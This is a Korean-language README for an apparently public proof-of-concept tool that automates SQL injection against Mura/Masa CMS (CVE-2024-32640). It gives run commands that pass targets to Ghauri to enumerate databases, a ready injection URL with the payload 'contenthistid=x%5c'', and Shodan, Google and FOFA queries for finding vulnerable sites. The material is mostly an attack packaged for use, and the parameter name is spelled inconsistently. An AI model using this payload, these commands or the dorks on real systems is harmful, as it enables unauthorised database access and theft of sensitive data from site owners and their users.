
CVE-2024-32640 | 자동화된 SQL 인젝션 익스플로잇 PoC
python3 CVE-2024-32640.py --url https://target.com/
Ghauri와 함께 사용하려는 인수를 해당 인수 목록에 따라 구문 분석하세요:
python3 CVE-2024-32640.py --url https://target.com -g "--dbs --current-db"
python3 CVE-2024-32640.py --url https://target.com --ghauri "--dbs --current-db"

이 도구에 구현된 탐지 기능을 사용하여 취약한 대상을 Ghauri로 익스플로잇할 수 있습니다. 스크립트는 이 과정을 자동화하며, 필요한 모든 대상 정보를 구문 분석하여 Ghauri 호출에 전달합니다.

contenthisid HTML 쿼리 매개변수 값에 이스케이프 시퀀스(%5c)를 추가하면 대상이 이 SQLi에 취약한지 확인할 수 있습니다.
성공적인 익스플로잇은 민감한 데이터에 대한 무단 액세스로 이어질 수 있습니다.
URL: https://target.com/_api/json/v1/default/?method=processAsyncObject&object=displayregion&contenthistid=x%5c'&previewID=x
Shodan-query: 'Generator: Masa CMS'
Google: "powered by Mura CMS"
FOFA: app="Mura-CMS"